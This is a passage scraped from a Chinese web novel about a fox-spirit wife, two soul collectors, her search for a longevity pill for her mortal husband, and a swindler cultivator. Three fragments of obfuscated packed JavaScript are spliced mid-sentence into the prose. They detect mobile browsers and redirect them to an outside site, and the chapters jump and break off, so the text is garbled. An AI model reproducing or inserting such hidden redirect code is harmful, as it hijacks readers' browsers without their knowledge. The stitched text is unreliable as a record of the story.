哪怕只是站在那里,不说不动,也有一股自然而然的妩媚风流。 即便这数千年中,他拘魂无数,见过的美女数不胜数,也从未有过此刻的惊艳之感。 黑袍魂差忍不住多瞧了她两眼,这时,他才察觉胡翘翘似是能看到自己和同伴,甫有些疑惑,然后恍然。 “原来是个小修士……” 魂差虽会对普通人隐去踪迹,但不会刻意瞒着修士,避免不必要的冲突。 黑袍魂差的目光微微一闪,突然在离胡翘翘不远处,停了下来。 “咦,他想干什么?”胡翘翘眨眨眼,心中有些嘀咕。 白袍魂差则是皱了皱眉毛。 自己搭档的老毛病又犯了,见到美貌女修就忍不住想要搭讪。虽没什么坏心思,只是口花花几句,但这幅舔狗模样,实在丢他们魂差的脸。 “别胡闹,赶紧把这家勾了,还得去下一家呢!”他幽幽开口。 “我就问几句话,耽误不了多少功夫。” 说罢,黑袍魂差朝胡翘翘望来,死白的脸上露出一个自认为帅气又和气的笑容,其实十分瘆人。 “小娘子,你是哪个宗门的啊?” “……” 白袍魂差很是无奈,飘在一旁,昂首望天。 胡翘翘犹豫了会儿,见对方虽然形容可怖,但语气和神态似乎并没恶意,轻声回答,“我没有宗门。” “哦,原来是个散修。”黑袍魂差点点头,又笑眯眯地问,“敢问姓甚名何,芳龄几许?” 胡翘翘顿时警惕地看着他,“你问这些干什么?!” 她听相公说过,一些邪术需要利用人的姓名和生辰八字来施展。 难道说,这魂差想对她施展什么邪术?! “小娘子放轻松些儿,我并无恶意,不过是想同你认识一下,交个朋友……俗话说得好,多条朋友多条路……”黑袍魂差轻咳一声,挺起胸膛,笑眯眯地道,“这样吧,我先做个自我介绍……” 胡翘翘愕然。 书中写的魂差一个个都凶神恶煞,最不济也能用冷面无情来形容。 在他们面前,再凶的恶鬼也要俯首帖耳,乖乖听话。 她面前这个,怎么看着还挺好说话的呀…… “娘子,你在和谁说话呢?”身后,传来陈子均的疑问。 胡翘翘突然反应过来,相公是个凡人,肉眼俗胎,看不见眼前的魂差。 “相公,是两个魂差……”她小声回答。 “魂差?” “嗯,回去翘翘再和你细说。” 而此时,白袍魂差的视线也终于落向了陈子均。 对方一直被小娘子挡在身后,身形又恰好落在墙角的一大片阴影中,看不清长相,所以直到对方开口说话,他才分出了几分注意力。 等他看清那书生的长相时,蓦地瞪圆了眼。 虽然时隔数月,但因为那一夜的记忆实在深刻,他还认得这张脸——正是几个月前,他和搭档正要勾走一只蛇妖的魂时,出手阻止他们的那人! 他、他没认错吧! 白袍魂差下意识地抬起手,揉了下眼。 不,他绝没认错,只因那书生的长相,堪称让人过目便难忘。 但白袍魂差愈发觉得有些恍惚了起来,整个鬼都有点飘不稳了。 怎么会又遇到了那人呢?! 等等,自家搭档还在这里作死,和人家娘子搭讪呢! 胡翘翘看着黑袍魂差,俏脸上露出一个客气而不失疏离的笑,“那个……魂差大人,今晚很高兴认识你,不过,现在已经很晚了,我该回去啦。” 黑袍魂差见她要走,有些不舍,眼珠子一转,“小娘子,你可想见识一下,我们魂差是怎么勾魂的吗?” 这时,白袍魂差神情一变,伸出手,扯了扯黑袍魂差的衣袖。 黑袍魂差头也不回,似乎毫无感觉。 “勾魂?”胡翘翘一愣,她还真没见过……一时间,心中痒痒的,如同小猫爪子在抓挠,但又有些犹豫,“可是,我要走啦……” 白袍魂差大怒,又扯了扯。 “别催,马上就好。”黑袍魂差不搭理他,仍看着胡翘翘,微笑道,“只是一小会儿的功夫,看完再走也来得及。” 胡翘翘犹犹豫豫,“那……我先问问相公。” “相公?” 黑袍魂差一愣,才注意到她身后竟还有一个男人…… 心中微感失落,不过还是笑道:“好,小娘子请问吧。” 胡翘翘扭过头,小声对陈子均道,“相公,来了两个魂差,其中有一个问我,想不想看看他们如何勾魂……” 陈子均露出恍然之色,“原来是这样,那娘子想看吗?” “有一点……”胡翘翘先点头,又连忙强调,“当然,翘翘也不是特别想看,如果相公不同意,不看也没什么大不了的。” 陈子均笑了,低声说,“娘子想看就看吧。” 胡翘翘又

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14892977|159967||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 眨眨眼,“相公你呢,想看吗?” 陈子均思索一下,“嗯”了声。 这时,白袍魂差终于气急败坏,传音道:“蠢货,你看看她身后的那人!” 闻言,黑袍魂差生出了两分疑惑,看了眼,突然间,脸上露出难以置信的神情。 “这、这人……难道是?” 一段不那么愉快的回忆被勾起,他立马一个激灵。 “咳咳,其实勾魂也没什么意思,小娘子既然忙着回去,就不打扰了,我们先去办事了。”黑袍魂差笑容一敛,严肃地看着胡翘翘,但话,却是说给她身后的陈子均听的。 “等等,这位魂差先生,我确实想开开眼界。”胡翘翘忙道,“你不是说,只是一小会儿的功夫,看完再走也来得及吗?” 黑袍魂差:“……” 胡翘翘又赧然:“还有,我相公说,他也想见识一下……请问有没有什么方法,让他能看到你们?” 黑袍魂差本想搪塞过去,一抬眼,与陈子均四目相对,就下意识地噎住,无话可回,然后求助地看向白袍,目光既有恐慌,又有希冀:好兄弟,拉哥们一把! 白袍则是恶狠狠地剜了他一眼:没事一边去,有事好兄弟是吧!自己惹出来的事情,自己解决! 黑袍无奈,只能提起胆子,慢吞吞飘到陈子均面前,强行保持声音自然。 “麻烦书生闭眼,在下替你打开阴瞳。” 陈子均毫无反应。 胡翘翘忙道,“相公,魂差说让你闭上眼睛。” 陈子均这才反应过来般,“啊,好的。” 黑袍魂差抬起手,快速拂过陈子均的眼皮。 “好了。” 陈子均睁开眼,脸上露出一丝惊讶,拊掌赞叹,“阁下二位就是魂差?果然,一看便是神威凛凛,非同小可……” 两个魂差脸皮抽搐了几下,纷纷干笑道,“客气客气,好说好说……书生也是玉树临风,和尊夫人郎才女貌……” 双方又彼此互捧了几句,白袍魂差才抖了抖袖子,两团阴气分别扑到了陈子均和胡翘翘的身上。 两人的身形逐渐变得虚幻,与夜色融为一体。 “从现在开始,一刻钟以内,凡人都无法看见两位,也无法听到两位的声音,两位可同我们一起行动。”他客气地说完,转身飘向前方,“请随我们来。” 胡翘翘很兴奋,拉着陈子均,跟在两名魂差的身后。 一路来到方才那户人家的门口。 两个魂差直接穿门而入,胡翘翘略一犹豫,拉着陈子均向前,竟然也穿了过去。 “有趣!”她很开心。 很快来到灵堂,灵堂内处处披挂着白绫,中间摆放着一口黑色棺材,还有几名穿着白色麻布衣的男女老少在哀哀哭泣,气氛沉重。 两名魂差飘进灵堂,来到棺木之前。 里面的人毫无察觉。 白袍魂差袖子一抖,手中出现一卷书册。 展开后,平静诵念。 “耿永利,人属,寿元七十一年又六个月零七天。今日你寿元已尽,速随我等前往轮回……” 胡翘翘盯着他手中的书册,小声问:“相公,你知道他拿的是什么吗?” “应该是生死簿。” “生死簿……”胡翘翘不太爱看圣贤书,但在陈子均的耳濡目染之下,故事书还是读了几本的,“生死簿”的名字自然听过,此刻她有些疑惑,“我也知道生死簿,传说是阎王爷手里的本子,记录了人生前的生死功过……怎么会在一个魂差的手中呢?” “嗯,十殿阎王中,秦广王手中的生死簿才是唯一的真本。” 陈子均耐心地替她解说,“真正的生死簿,除了显示阴魂的寿命功过之外,还能自动为阴魂做出判决,是投胎转世,还是下地狱受罚。如果投胎转世,会投到何处,来世的命运如何。若是下地狱,又该被押送往哪个地狱、受什么样的刑罚、持续多少年……而魂差手中的生死簿,都是仿制品,只能显示出阴魂的名字和简易资料。” “相公真是博学多才。”胡翘翘眼睛亮晶晶的,一脸崇拜。 冥冥中,似感应到什么,棺材中飘起一缕阴魂,依稀可见是一个老头儿模样。 这老头儿浮在原地,面容安详,宁静,似乎有些留恋地看了一圈家人,然后飘到了两名魂差的身边。 白袍魂差合上书册,看向他:“耿永利?” 老头儿恭恭敬敬地点头。 “可还有什么人想见?”黑袍魂差背着手,神态威严,任谁也无法将他与方才那个搭讪胡翘翘的舔狗模样联系在一起,“允你半柱香的时间。” “多谢两位大人,”老头儿又惊又喜,连忙道,“我还想再见我老伴一面。” “嗯,走吧。” 老头儿往前飘去,出了灵堂,来到一个房间。 房间里,一位老太婆正神情憔悴地靠在床头,布满皱纹的脸上满是半干的泪痕。 “老头子,前几天你还好好的,怎么今天说走就走了,丢下我们不管了呢……”她喃喃的说着。 “老太婆……”老头儿浑浊的眼有些颤动,他颤颤巍巍地伸出手,想替老伴揩 第107章 求购凡寿丹 那老头儿,才不过七十多岁。 寿命就已经到了终点。 那么,相公呢? 他的寿命,又会有多长? ,她和相公,是几世修来的缘分,才能在茫茫人海中相遇、相爱?如果凡人的寿命,终究逃不过短短百年,那是不是意味着,几十年后,她就会永远失去他? 这个念头一出现,她的心便突然狠狠痛了一下。 就像是被人用利刃,扎了一刀,有血滴出来,在心湖中飘散,丝丝缕缕地散在了水中,又像是要从眼睛里流出来。 她从云端跌落。 猛然堕入无底的冰冷深渊。 胡翘翘抬起头,看着陈子均。 她不敢想象,若是有一天她失去了相公,会是什么样的感觉。 也许会痛到生不如死…… 甚至光这么想一想,整颗心就像是被一把刀用力搅动,痛到让她难以呼吸,说不出话。 陈子均看出她眼底的异色,忍不住问,“娘子在想什么?” 胡翘翘静了会儿,没有将自己的所思所想给说出口。 她怕相公也会难过,却又无能为力,徒然破坏此刻的温馨和宁静。 只是闭上了眼睛,睁开后,又转而歪着头,皱了皱小鼻子,撒娇般地道,“相公,你抱抱我。” “这是怎么了?”陈子均说着,手臂圈住了她。 感受着他微凉的怀抱,胡翘翘将下巴压在他的肩上,极力掩饰着声音里的呜咽,认认真真地小声说,“相公,翘翘会一辈子都陪在你身边的。” 陈子均弯起了唇,抬起手,轻轻抚摸着她的后背,“这话我可记住了啊,说好一辈子,少一分钟都不行。” “嗯。”过了会儿,胡翘翘又说:“下辈子也一样。” 这辈子也好,下辈子也好。 一百年也好,一千年也好。 翘翘都会陪着你。 哪怕你永远只是个平凡的人类,我也只想和你一起。 哪怕过的只是最平凡的日子,简单的清晨和夜晚,单纯的幸福和快乐,一杯茶,一张床…… 所有和你一起的,毫无意义的琐碎的鸡毛蒜皮的日常小事,对我来说,都是莫大的欢喜,都是那么的温暖和美丽。 …… 丑时刚过(凌晨一点多) 胡翘翘睁开了眼。 她慢慢坐起身,痴痴地看着身边闭目的陈子均,如水般的眼波中,充满了柔和与爱意,而后又渐渐地,渗出了一丝忧虑。 几十年…… 对于动辄寿命成千年的妖怪来说,人类的生命太过短暂而易逝…… 她舍不得,真的好舍不得呀。 她不在意相公的老去,可她怕他的离开。 一想到几十年后,相公会离开她,她的心便像是被一只无形的手紧紧攥住,让她几乎无法呼吸。如果真的有那么一天,她要到哪里去寻他? 就算她有通天之能,能在那茫茫人海中找到他,他又是否还能记起她,是否还会像现在这般爱她? 一想到这些,胡翘翘的心就像是被一只无形的手紧紧攥住,让她几乎喘不过气来。 她抿了下唇,先低头,亲了陈子均一下,动作轻柔得如同羽毛拂过水面。 然后,略带了试探地开口:“相公?” 回应她的,只有均匀的呼吸声。 陈子均似乎睡得很熟。 胡翘翘松了口气,变回狐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14892978|159967||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 狸形态,小心翼翼地跳下床。 软软的肉垫落在地板上,一丝儿震动都没有。 片刻后,小青所住的西厢房门外,胡翘翘抬手敲门。 小青打开了门,神情露出意外,“翘翘姐,这么晚了,你怎么来找我啦?” 胡翘翘有些不好意思地道,“我是想问你点事情……会不会打扰你休息了呀?” “不会,我晚上不用休息的,一般就是修炼。”小青连忙笑道,“先进来再说吧。” 进了厢房,胡翘翘坐下,小青倒了一杯水给她,同时在她身边坐下,好奇问道,“翘翘姐,你找我有什么事啊?” 胡翘翘捧着杯子,认真地看着她,“……小青,你知不知道有什么办法,能延长凡人的寿命?” 小青愣了愣,问道,“你问这个干什么?” “当然是为了相公啊,”胡翘翘抿了下唇,忧愁地垂下眸子,看着杯中自己的倒影,“昨晚我突然想到,凡人的寿命这么短,如果不想想办法,再等个几十年,相公可能就……” 可她见识太少,不知道有什么方法能让凡人活得久一些,又不能问陈子均,便将希望寄托在了小青这儿。 小青,“……” 她看着一脸忧虑的小狐妖,开口想说什么,却又想起陈子均的交代,还是咽了回去。 过了会儿,她才道:“我是妖怪,所以没太关心过这个问题啦,不过,我知道一些罕见的灵药可以延长凡人的寿命。” “罕见”与“灵药”两个词的组合,就让胡翘翘耷拉下了小脸。 小青继续,“对了,还有某些丹药也能做到,就好比一种叫做凡寿丹的丹药,凡人吃一颗,就能多活好几年。” 胡翘翘的眼睛顿 第108章 认错相公 “麻烦道友你再等等。” 胡翘翘扭过头,“小青,它是凡寿丹吗?” 小青答,“翘翘姐,我没见过凡寿丹,只曾听人说,它通体雪白,香味沁人。” “姑娘是信不过在下,觉得我这是假丹?”圆脸修士听到了两人的对话,顿时涨红了脸,“走,我们去方才那间丹坊,让他们来验货!” 胡翘翘连忙摇头又摆手,“道友别误会,我没有不相信你。我只是见识浅薄,才多嘴问了几句,还请道友不要见怪。” 验货……当然是不行的! 毕竟方才那位女修说过,凡寿丹极为抢手,万一被别人看到,出手和她争夺怎么办? 若是因为这样,到手的凡寿丹飞了,她定然会懊恼死! 犹豫了下,她又问:“能不能问一下,为何你要将它卖掉?” 圆脸修士长叹一声:“这颗凡寿丹是我好不容易得来,想要送给我病重的娘亲,没想到刚拿到手,我娘她就已经……哎!否则我也不会将它出手了。”言下无尽唏嘘,还抬手抹了把微红的眼圈,似乎强忍着巨大的悲痛。 “你对你娘可真好。”胡翘翘也流露一丝恰到好处的感动。 “行了,我们言归正传吧,”圆脸修士看着她,“姑娘想要么?” “嗯。”胡翘翘用力点头,又问道,“那个,你要怎么卖呀?” 圆脸修士轻咳一声,伸出一个巴掌。 胡翘翘小心翼翼地猜测:“五……五十两银子?” 五两,她感觉太荒谬,又舍不得猜五百两,只能选择五十两了。 “五十两银子?!”圆脸修士顿时跳了起来,受辱般义愤填膺,“姑娘原来是在拿我开心,快还给我吧,我不卖了!” “有话好说嘛,我又不知它值多少钱……要不,五百两?” “这可是凡寿丹,怎么能用凡人的金银来衡量?!原来姑娘不懂它的珍贵,算了算了,还给我,我另找买家便是了。” “别呀,”胡翘翘连忙将那小盒抱紧,嘟哝,“我坐地还钱,你大可漫天开价……你自己说,怎么才能卖?” 圆脸修士顿了下,忍痛般道,“五百功勋。” “功勋?”胡翘翘不解。 圆脸修士睁大眼,一脸惊讶,“姑娘,你该不会连功勋都没听过吧?” 确实没听过。她很诚实地摇了摇头。 这时,小青扯了扯她的袖子,等她看过去,青蛇小声解释道,“翘翘姐,是这样的,镇魔塔发放给修士们的功勋值可以兑换成各种奖励,修士平时也能将自己用不上的法宝之类,通过镇魔塔回收成功勋值,久而久之,正道修士们就习惯用功勋值来进行交易了。” 胡翘翘懂了。 可别说五百功勋,她连一个都没有呀。 圆脸修士从她的表情中看出了什么,叹气道:“行啦,姑娘你若拿不出这么多功勋的话,还是将它还给我吧,我去寻别的买家!” 胡翘翘急了,“这位道友,我真的很需要凡寿丹,就没有别的法子吗?” 她怕错过这颗,不知什么时候还能碰到下一颗。 圆脸修士憨厚的脸上露出一丝为难之色,又挠了挠脑袋,视线落在她腰间的储物袋上,一抹贪色一闪即逝,随后叹了口气,“这样吧,姑娘,你要是有合适的法宝的话,以物易物,我也能接受……” 听到此处,陈子均:“……” 他明白对方打的是什么主意了。 胡翘翘略一犹豫,便下定决心,同法宝比起来,还是为相公延长寿元更重要。 她将储物戒里的东西全部取了出来,包括意外得到的那几样法宝、雷果、大半瓶灵液、之前买的零嘴儿,还没剥完的若干个莲蓬……一样样,摆在圆脸修士面前。 “道友看看,这些东西里面,有你想换的吗?” “这些啊……”圆脸修士快速扫了一眼,眉毛皱了起来,叹气道,“还算马马虎虎吧,不过,这些加起来,还不值五百功勋,姑娘还有其它的么?” “你的意思是,这些你全都要,而且加起来,还不值五百功勋?”胡翘翘一愣。 小青也皱起眉,“这怎么可能!” 她虽然不清楚,这里的法宝能换取多少功勋,但她却知道,凡寿丹再怎么稀缺,到底也只对凡人有用,还只能延长五到十年的寿命。 而这些法宝是公子亲手替小狐妖炼制,威力和品阶都不可能差到哪儿去,按道理,里面的任意一件的价值,都远不是凡寿丹所能相比的。 这修士却说,它们加起来还换不了一颗凡寿丹? “是这样,你的这些法宝都是女子所用,我用不上,只能拿去回收或转卖,价格方面自然要打上些折扣。”圆脸修士正色道,“你要是有男子能用得上的,那就好说一些。” “可我真的没有了……”胡翘翘皱起秀眉。 见状,圆脸修士也叹了一口长气,“罢了罢了,念在你这么想要凡寿丹的份上,我就吃点儿亏,勉强收下这些没什么用处的法宝,和你交换了。” 胡翘翘正在高兴,眼角余光却瞥到圆脸修士面上神情不舍,眼中则光芒闪烁。 一个念头,突然闯 进小狐狸的脑海: “既然凡寿丹不愁卖,他又觉得我的东西抵不过一颗凡寿丹的价值,为何他不去找那些有可能出价更高的修士,甚至连问也不去问一声别人?” 这念头一起,各种疑问纷至沓来,“如果真和他所说的一样,这样交换是他吃亏,我和他非亲非故、萍水相逢,他为什么还要将它卖给我?” “何况,我连他这颗凡寿丹真假都还不知道,也不知道凡寿丹的真正价值,就将自己的全部东西拿来同他交换,是不是太着急了点?” “相公常说我太单纯,遇事应多长几个心眼儿,不能随意轻信别人,否则容易被骗!” “如果这颗是真的凡寿丹,我换了也心甘情愿,若是颗假的……那我就太蠢了!” 想到这里,小狐狸的眼神渐渐清明起来,突然道:“道友,先等一等。” 圆脸修士正要伸手去拿东西的动作一顿,“怎么了?” 胡翘翘蹙起眉毛,脸上露出为难之色,“那个,交易之前,我们还是先去丹坊,验一下丹药的真伪吧?” 圆脸修士的神情一变,“道友信不过我?” 她低垂下妩媚的双眸,一丝愧容浮现,“真是抱歉,虽然我相信道友的为人,但我和道友毕竟是第一次见面,凡寿丹又如此珍贵……” “若去了丹坊,有人出高价,你可不要怪我不厚道,卖给别人。” 胡翘翘轻叹了口气,“买卖自由,道友若能卖出更高的价格,也是好事。” 圆脸修士的目光忽闪片刻,突然咧嘴一笑,声音陡然一变,比之前老气横秋了许多倍。 “算了,老子我不陪小姑娘们玩儿了,宝贝都拿来吧!!” 与此同时,他的脸色也变得狰狞起来,衣袖一甩,就要将所有的东西全部卷走。 这圆脸修士的动作快极,胡翘翘和小青还没来得及做出反应,下一瞬,身边似有清风吹过。 “啊!” 突然,圆脸修士发出一声怪叫,原来是他的一条胳膊被人握住。 紧接着,那人将他的手臂用力朝着背后一扭! “痛痛痛!”圆脸修士叫得更惨了。 胡翘翘睁大眼,这才发现不知何时,身边忽然来了一名青年男子。 这人穿着最常见的修士长袍,背对着她,看不清模样,但身形高大挺拔,莫名就给她一种熟悉又安心的感觉。 小狐狸歪着脑袋,忍不住凑近了几步,小鼻子轻轻动了动,灵敏无比的嗅觉,让她自对方的身上闻到了一个熟悉到不能再熟悉的、清冽好闻的气味儿,顿时,圆溜溜的眼睛亮了,又惊又喜叫出了声。 “相公?!” 闻声,那青年男子愕然地回过头,“姑娘,你说什么?” 胡翘翘看清了他的脸,笑容顿时僵在了脸上。 这青年男子的长相十分平平无奇,虽说眉眼看着干净舒服,但也只能勉强用清秀来形容,同陈子均完全是两个人。除此之外,他的声音也好陌生,低低的,有点哑,一点也不像相公那样清润好听。 糟了! 小狐狸反应过来,顿时又羞又愧,俏脸涨红。 她竟然将一个陌生男人认成了相公,还开口叫了出来! 真是笨蛋,相公怎么可能会出现在这里呢?!一定是她太想他,出现幻觉了…… 胡翘翘红着脸往后退了一小步,声若蚊蝇:“抱歉,我认错了人……” 青年男子微微一笑:“无妨,姑娘快将东西收起来吧。” “好。”胡翘翘连忙点头,将法宝和其它东西全部收起。 “哎哟,好痛好痛痛痛痛!”那圆脸修士用力挣扎,出乎他意料的是,竟挣扎不动,顿时变了脸色,扭头看着青年男子,目光开始闪烁不定,“你是什么人?!” “一个路见不平的路人,”青年男子慢条斯理地回答,“足下行骗不成,就动手抢夺,这种行径,未免太无耻了吧。” 圆脸修士色厉内荏地道:“我警告你,我可不是好惹的,再不放开我……” 青年男子将他的胳膊再次往后一拧:“你要如何?” “啊啊啊痛痛痛痛!!”一张圆脸顿时扭成苦瓜,“不如何,不如何……” 这时,原本没注意到这边的石珊珊与许曼,被这边的动静给吸引,循声望了过来。 两人一看到那圆脸修士,突然都脸色一变。 “竟然是你!”石珊珊的怒气值瞬间拉满,一个箭步冲上前去,揪住了圆脸修士的衣领,咬牙切齿地道,“前两天你用假货骗走了我的玉佩法器,现在还敢继续招摇撞骗!走,和我去守卫处!” 这几日里,长陵城内多了许多修士,皆是为了即将开启的某处秘境而来,这些修士中,鱼龙混杂,自然有某些不那么正直的散修,这圆脸修士,便是其中翘楚。他手段高明,已有多名修士上当受骗,就连石珊珊也未能幸免,被骗走了一块玉佩法器。一时间,这圆脸修士在长陵城内可谓臭名昭著,直接被列入了“黑名单”。 胡翘翘也被突然风风火火冲过来的一团红影吓了一跳。 定睛一看,才认出原来是之前匆匆一面的那名五行宗的女剑修。 顿时小狐狸心里七上八下,心虚不已,低头试图降低自己的存在感。 虽然她戴了面纱,可面纱的遮掩之力有限,谁知道会不会被她们认出? 脑中灵光忽地一闪,小狐狸悄悄从储物袋中摸出一个青面獠牙的鬼面具,戴在脸上—— 这面具是她和陈子均离开白崖村时,孩子们送的礼物之一。 此刻,正好派上用场。 这时,那圆脸修士眼珠一转,脸上立即显出羞惭之色,“这位姑娘,在下知错了,现在便将东西还给你,求求你,千万别送我去守卫处,若是留下什么记录,我以后如何抬得起头。” “……不光是我的!”石珊珊瞪着他,“这几天还有不少人被你骗了,你得将所有骗来的东西都交出来!” “好好好,没问题。”圆脸修士点头如捣蒜,又扭头看向拧着他手臂的青年男子,谄笑道,“这位道友,麻烦你先松开贵手,我好拿出东西。” 青年男子摇头,淡淡道,“我若松开,你就会跑掉了。” “阁下太小心了吧,这么多人看着,我怎么跑?插翅也难飞啊。”圆脸修士苦笑了起来。 石珊珊说,“多谢阁下抓住了这骗子,请阁下先松开他,让他拿出骗走的东西。放心吧,有我在,保证他跑不掉。” 青年男子挑了下眉,松开了钳制着圆脸修士的手,还往后退了一步。 圆脸修士松了口气,活动着胳膊,口中嘟哝着,“疼死我了……” 石珊珊冷冷地道,“好了,快把东西交出来!” “别急别急,我这就拿,”圆脸修士讪笑着,手朝自己的储物袋伸去,突然一扬手,腾地涌出一片浓稠的雾气。 石珊珊面色一变,素手如电,闪电般探入迷雾之中,却捞了个空。 待雾气散去,哪还有那圆脸修士的半点踪影。 周围顿时一片哗然。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14892979|159967||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 众人面面相觑,皆是一脸惊愕。 “这是什么手段?” “人呢?到哪儿去了?” “凭空消失了不成?” 谁也没料到这看似憨厚的小修士竟还有如此诡异的手段。 突然,那圆脸修士的声音不知从何处传来,仿佛藏在四面八方的风中,语气如咬牙切齿的诅咒,在众人的耳边回荡。 “……方才的小子,别让老子下次再碰到你!哼!” 等那声音消失后,半晌再无动静。 石珊珊则是气得脸色一阵红一阵白,方才她夸下海口,说有自己在那圆脸修士定然逃不掉,结果转眼就被人家给溜了! 许曼连忙安慰道:“石师妹,那人太狡猾了,不能怪你。” 眼见得没有热闹可瞧了,四周人群才散去。 那青年男子转头望向胡翘翘,微微一笑,“姑娘没损失什么吧?” 胡翘翘怔了怔,客气点头,“多谢道友及时出手,我没有什么损失。” 青年男子对她点了点头,“既然如此,在下便告辞了。” 也不道再见,转身走了。 行走的速度不快,但几步之后,就消失在人群之中。 胡翘翘这才抬头,看着对方离去的背影,心中有些疑惑。 说起来也怪,这人的五官、声音明明都和相公完全不同,可怎么就是让她莫名有几分亲切又熟悉的感觉呢? 尤其是他身上那股好闻的味道,和相公简直一模一样。 奇怪,天底下竟会有两个闻起来如此相似的人? 这时,石珊珊和许曼的目光也下意识地朝胡翘翘看了过去,当那面具出现在视野之中时,石珊珊和许曼的心跳突然都漏了一拍。。 这面具……怎么看着有些眼熟呢? 突然,石珊珊忍不住低呼一声,脑海中闪过一道电光,“这,这不是……” 许曼秀眉微蹙,这面具,也也同样勾起了她脑海深处的某个片段。 “难道是……” 二女猛然转头,四目相对,都从彼此眼中看到了难以置信的答案:这面具,似乎就是当初从血尸手中救下她们的那位前辈所戴的面具! 难道…… 这时,石珊珊又看到了胡翘翘身边的那青衣少女,越看越觉得有几分眼熟。 电光火石间,一个念头在她脑海中出现,她猛地转头,压低声音对许曼道:“许师姐,你还记得几个月前,我们曾去过一个叫白崖村的地方吗?” “嗯,记得,那次,我们曾遇到了一个俊美书生,还有他的娘子、侍女和同伴。” “她们像不像那书生的娘子和侍女……” “不是像,而应该就是她们。” “当时我特意以神识查看过,他们只是凡人,结果,今天却在这里遇到了她们……” “凡人无法踏足此地,唯一的解释就是,她们根本不是凡人,只是隐藏了实力,甚至…实力远在我们之上!” 石珊珊又喃喃道,“之前我们遭遇血尸袭击的地方,似乎离白崖村也不远……” “再加上那面具……” 所有的线索如同散落的珍珠,此时此刻,在她们脑海中被一根无形的线串联起来,最后的答案呼之欲出—— 二女面面相 觑,彼此眼中都充满了惊讶。 “难道她便是当初救我们的那神秘前辈?”许曼喃喃开口。 “可是……那位前辈的声音听起来明明是男子啊?”石珊珊秀眉微蹙,有些不解。 “当初前辈面戴面具,身形被迷雾掩盖,声音虽然听着像是男子,但一名修士在有心不想暴露身份的情况下,想要改变嗓音,混淆视听,也不是什么难事。”许曼冷静地分析,“所以,光凭当初那一面,根本无法确定前辈究竟是男是女。” “师姐说得有理,这么说,她应该就是之前救下我们的神秘前辈!”石珊珊有些激动,“师姐,我们快去拜见前辈,当面道谢!” 许曼连忙拦住她:“不可轻举妄动。” “为什么?” “前辈当初出手相救之时,刻意掩盖身份,显然是不想暴露……” “那我们该怎么报答前辈?”石珊珊有些苦恼。 “走吧小青,我们去其他地方看看,希望能买到凡寿丹。”胡翘翘转头对小青道。 虽然,从方才的遭遇看来,这希望有些渺茫。 “凡寿丹?”许曼敏锐地捕捉到了这个关键词,眸光一闪,“难道说,前辈来此是为了购买凡寿丹?” 石珊珊闻言一愣,随即恍然大悟道:“我知道了!当初遇到的那俊美书生,一定是前辈的道侣,他是凡人,前辈是为了替他延寿,所以才来购买凡寿丹!” 两人皱着眉头,感到事情棘手。 凡寿丹有价无市,想要弄到手谈何容易。 就算是她们,也不能轻易弄到。 石珊珊咬着唇,忽然想到什么,凑到许曼耳边,轻声说了几句话。 许曼沉吟少顷,点点头,“好!” 胡翘翘也不知道今日她是碰到了吉星还是霉星,才走出十几步,就又听到有个声音在喊,“姑娘,稍等一会儿!” 而且,她一下就听出来了,是之前那名五行宗的女剑修的声音! 小狐妖有些紧张,干脆装作充耳不闻,仍然自顾自地和小青朝前走。 这里的“姑娘”不要太多,又不见得就是叫她。 但再走出几步,眼前两道身影一闪,石珊珊和许曼已经站在了她的去路前方,看着她的目光,都有几分异样。 胡翘翘:“……” 难道她戴着面具,也被她们认出来了?! 她还记得,当初对方可是将她认为是凡人,如果现在她们质问她为什么能出现在这里,她该怎么解释? 要是她们发现了她是妖怪,那、那又该怎么办? 小狐狸心虚又紧张,圆溜溜的眼珠子转个不停,有种想撒腿就跑的冲动。 青蛇凑到她耳边,压低声音,“翘翘姐,别怕,如果情况不妙,我缠住她们,你先跑!” 第109章 相邀秘境 胡翘翘还没来得及回应,便听到那个土系女修的声音在耳边响起:“这位姑娘,我们有事找您。” 这下可就不能再装聋作哑了。 胡翘翘干脆强行抢先,划清界限。 她挺起胸脯,努力装出一副困惑的样子。 “你们是谁呀?我又不认识你们,有什么事好找我的?!” 石珊珊和许曼顿时会意。 嗯,前辈既然不想透露身份,她们也自然要好好配合。 石珊珊连忙客客气气、十分友好地笑道:“您别误会,我们只是方才听到您说想要凡寿丹,所以才拦住您。” “凡寿丹?什么凡寿丹?”胡翘翘歪了歪脑袋,一脸迷茫地装傻。 “凡寿丹有价无市,就连我们需要,都得在宗门或者镇魔塔排队预定很久,所以,一般的店铺都是买不到的。”顿了顿,许曼露出一个微笑,“不过,我们倒是有个办法,可以帮您得到。” …… …… 修士们也要喝茶,因此,城中街道上,除了售卖丹药、法器、符箓的店铺之外,也开设了不少供修士们品茗、谈玄的茶楼。 